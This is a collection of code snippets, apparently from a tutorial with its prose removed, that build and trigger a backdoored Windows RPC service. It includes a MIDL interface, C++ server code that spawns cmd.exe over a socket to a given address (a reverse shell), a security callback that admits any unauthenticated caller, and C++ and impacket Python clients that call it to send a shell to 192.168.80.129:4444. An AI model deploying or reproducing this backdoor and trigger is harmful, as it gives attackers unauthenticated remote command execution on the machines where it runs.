[        uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33),        version(1.0),        implicit_handle(handle_t ImplicitHandle)]interface RemotePrivilegeCall{        void SendReverseShell(                [in, string] wchar_t* ip_address,                [in] int port);}

interface RemotePrivilegeCall{        void SendReverseShell(                [in, string] wchar_t* ip_address,                [in] int port);}

#include <stdlib.h>#include <iostream>#include <winsock2.h>#include <windows.h>#include "RemotePrivilegeCall.h"// Links the rpcrt4.lib that exposes the WinAPI RPC functions#pragma comment(lib, "rpcrt4.lib")// Links the ws2_32.lib which contains the socket functions#pragma comment(lib, "ws2_32.lib")
// Function that sends the reverse shellvoid SendReverseShell(wchar_t* ip_address, int port){        printf("Sending reverse shell to: %ws:%dn", ip_address, port);        WSADATA wsaData;        SOCKET s1;        struct sockaddr_in hax;        char ip_addr_ascii[16];        STARTUPINFO sui;        PROCESS_INFORMATION pi;        sprintf(ip_addr_ascii, "%ws", ip_address );        WSAStartup(MAKEWORD(2, 2), &wsaData);        s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        hax.sin_family = AF_INET;        hax.sin_port = htons(port);        hax.sin_addr.s_addr = inet_addr(ip_addr_ascii);
        WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
        memset(&sui, 0, sizeof(sui));        sui.cb = sizeof(sui);        sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);        sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
        LPSTR commandLine = "cmd.exe";        CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);}
// Security callback functionRPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){    return RPC_S_OK; // Whoever binds to the interface, we will allow the connection}
int main(){    RPC_STATUS status; // Used to store the RPC function returns        RPC_BINDING_VECTOR* pbindingVector = 0;
        // Specify the Rpc endpoints options        status = RpcServerUseProtseqEpW(                (RPC_WSTR)L"ncacn_ip_tcp",      // Endpoint to contact                RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Default value                (RPC_WSTR)L"41337",             // Listening port                 NULL                            // Pointer to a security context (we don't care about that)        );                         
        // Register the interface to the RPC runtime        status = RpcServerRegisterIf2(                RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h                NULL,                                // UUID to bind to (NULL means the one from the MIDL file)                NULL,                                // Interface to use (NULL means the one from the MIDL file)                RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function                RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections                (unsigned)-1,                        // Maximum size of data block received                 SecurityCallback                     // Name of the function that acts as the security callback        );                   
        // Register the interface to the epmapper        status = RpcServerInqBindings(&pbindingVector);        status = RpcEpRegisterW(                RemotePrivilegeCall_v1_0_s_ifspec,    // Name of the interface defined in RemotePrivilegeCall.h                pbindingVector,                       // Structure contening the binding vectors                0,                                                   (RPC_WSTR)L"Backdoored RPC interface" // Name of the interface as exposed on port 135            );
        // Launch the interface        status = RpcServerListen(                1,                                   // Minimum number of connections                RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Maximum number of connetions                FALSE                                // Starts the interface immediately        );                              }
// Function used to allocate memory to the interfacevoid* __RPC_USER midl_user_allocate(size_t size){    return malloc(size);}
// Function used to free memory allocated to the interfacevoid __RPC_USER midl_user_free(void* p){    free(p);}

#include <iostream>#include <windows.h>#include "RemotePrivilegeCall.h"// Links the rpcrt4.lib that exposes the WinAPI RPC functions#pragma comment(lib, "rpcrt4.lib")
int main(){        RPC_STATUS status;                 // Store the RPC status        RPC_WSTR szStringBinding = NULL;   // Store the binding string
        // Used to get a valid binding string        status = RpcStringBindingComposeW(                NULL,                         // UUID of the interface                (RPC_WSTR)L"ncacn_ip_tcp",    // TCP binding                 (RPC_WSTR)L"192.168.149.138", // Server IP address                (RPC_WSTR)L"41337",           // Port on which the interface is listening                NULL,                         // Network protocol to use                &szStringBinding              // Variable in which the binding string is to be stored        );                     printf("BindingString: %sn", szStringBinding);                // Validates the binding string and retrieves a binding handle        status = RpcBindingFromStringBindingW(                szStringBinding,      // The binding string to validate                &ImplicitHandle       // The variable in which is stored the binding handle        );                   RpcTryExcept{                // Calls the remote function                SendReverseShell(L"192.168.80.129", 4444);        }        RpcExcept(1){                printf("RPCExec: %dn", RpcExceptionCode());        }        RpcEndExcept
        // Libère la mémoire allouée à la chaîne de caractère binding        status = RpcStringFreeW(&szStringBinding);
        // Libère le binding handle et déconnecte du serveur RPC        status = RpcBindingFree(&ImplicitHandle); }
// Function used to allocate memory to the interfacevoid* __RPC_USER midl_user_allocate(size_t size){    return malloc(size);}
// Function used to free memory allocated to the interfacevoid __RPC_USER midl_user_free(void* p){    free(p);}

from impacket.structure import Structure from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory
 # First we create the string binding that we will need to connect to the endpoint stringBinding = r'ncacn_ip_tcp:{}[41337]'.format(target_ip)  # Connects to the endpoint using the string binding transport = DCERPCTransportFactory(stringBinding) dce = transport.get_dce_rpc() dce.connect()
 # Casts the UUID string and version into a valid UUID object interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
 # Binds to the interface dce.bind(interface_uuid)

class SendReverseShell(NDRCALL):        structure = (            ('argument_one', packing_format),            ('argument_two', packing_format),            ...            ('argument_n', packing_format)        )

 # < means that we will pack data into the little endian format # WSTR is the specifiyer for a unicode encoded string # i is the specifier for the int type
class SendReverseShell(NDRCALL):        structure = (                ('ip_address', WSTR),                 ('port', "<i")         )

import argparsefrom impacket.dcerpc.v5 import transportfrom impacket.structure import Structurefrom impacket.uuid import uuidtup_to_binfrom impacket.dcerpc.v5.ndr import NDRCALLfrom impacket.dcerpc.v5.dtypes import WSTRfrom impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.transport import DCERPCTransportFactory
parser = argparse.ArgumentParser()parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)
args = parser.parse_args()target_ip = args.target_ipport = args.portlip = args.liplport = args.lport
class SendReverseShell(NDRCALL):    structure = (        ('ip_address', WSTR),        ('port', "<i")    )
# Creates the string bindingstringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target_ip, port)
# Connects to the remote endpointtransport = DCERPCTransportFactory(stringBinding)dce = transport.get_dce_rpc()dce.connect()print("[*] Connected to the remote target")
# Casts the UUID string and version of the interface into a UUID object and binds to the interfaceinterface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))dce.bind(interface_uuid)print("[*] Binded to AB4ED934-1293-10DE-BC12-AE18C48DEF33")
print("[*] Formatting the client stub")# Creates the client stub and pack its data so it validquery = SendReverseShell()query['ip_address'] = f"{lip}x00"query['port'] = lport
print("[*] Calling the remote procedure")try:    # Calls the function number 0 (the first and only function exposed by our interface) and pass the data    dce.call(0, query)    # Reading the answer of the RPC server    dce.recv()except Exception as e:    print(f"[!] ERROR: {e}")finally:    print("[*] Disconecting from the server")    # Disconnecting from the remote target    dce.disconnect()

[        uuid(12345778-1234-ABCD-EF00-0123456789AC),        version(1.0),        implicit_handle(handle_t ImplicitHandle)]interface RemotePrivilegeCall{        void SendReverseShell(                [in, string] wchar_t* ip_address,                [in] int port);}